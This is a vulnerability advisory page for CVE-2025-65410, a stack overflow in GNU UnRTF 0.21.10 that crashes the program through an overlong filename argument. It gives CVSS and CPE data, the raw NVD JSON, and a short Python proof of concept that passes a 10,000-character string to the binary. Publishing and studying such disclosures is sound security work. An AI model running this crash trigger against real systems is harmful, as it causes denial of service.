Security Vulnerability Report
中文
CVE-2025-65410 CVSS 6.2 MEDIUM

CVE-2025-65410

Published: 2025-12-23 17:15:48
Last Modified: 2026-01-06 17:31:26

Description

A stack overflow in the src/main.c component of GNU Unrtf v0.21.10 allows attackers to cause a Denial of Service (DoS) via injecting a crafted input into the filename parameter.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:unrtf_project:unrtf:0.21.10:*:*:*:*:*:*:* - VULNERABLE
GNU Unrtf < 0.21.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
python import subprocess import sys def generate_payload(length): # 生成长度超过栈缓冲区的文件名参数 return 'A' * length def exploit(target): payload = generate_payload(10000) # 超过预期缓冲区大小 subprocess.run([target, payload]) if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_path>") sys.exit(1) exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65410", "sourceIdentifier": "[email protected]", "published": "2025-12-23T17:15:48.333", "lastModified": "2026-01-06T17:31:26.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack overflow in the src/main.c component of GNU Unrtf v0.21.10 allows attackers to cause a Denial of Service (DoS) via injecting a crafted input into the filename parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unrtf_project:unrtf:0.21.10:*:*:*:*:*:*:*", "matchCriteriaId": "9A69379A-96B2-4B49-B67F-D7310B91C10B"}]}]}], "references": [{"url": "https://github.com/MAXEUR5/Vulnerability_Disclosures/blob/main/2025/CVE-2025-65410.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://hg.savannah.gnu.org/hgweb/unrtf/rev/a5d3b025a8b1", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://lists.gnu.org/archive/html/bug-unrtf/2025-11/msg00001.html", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://savannah.gnu.org/projects/unrtf/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.gnu.org/software/unrtf/", "source": "[email protected]", "tags": ["Product"]}]}}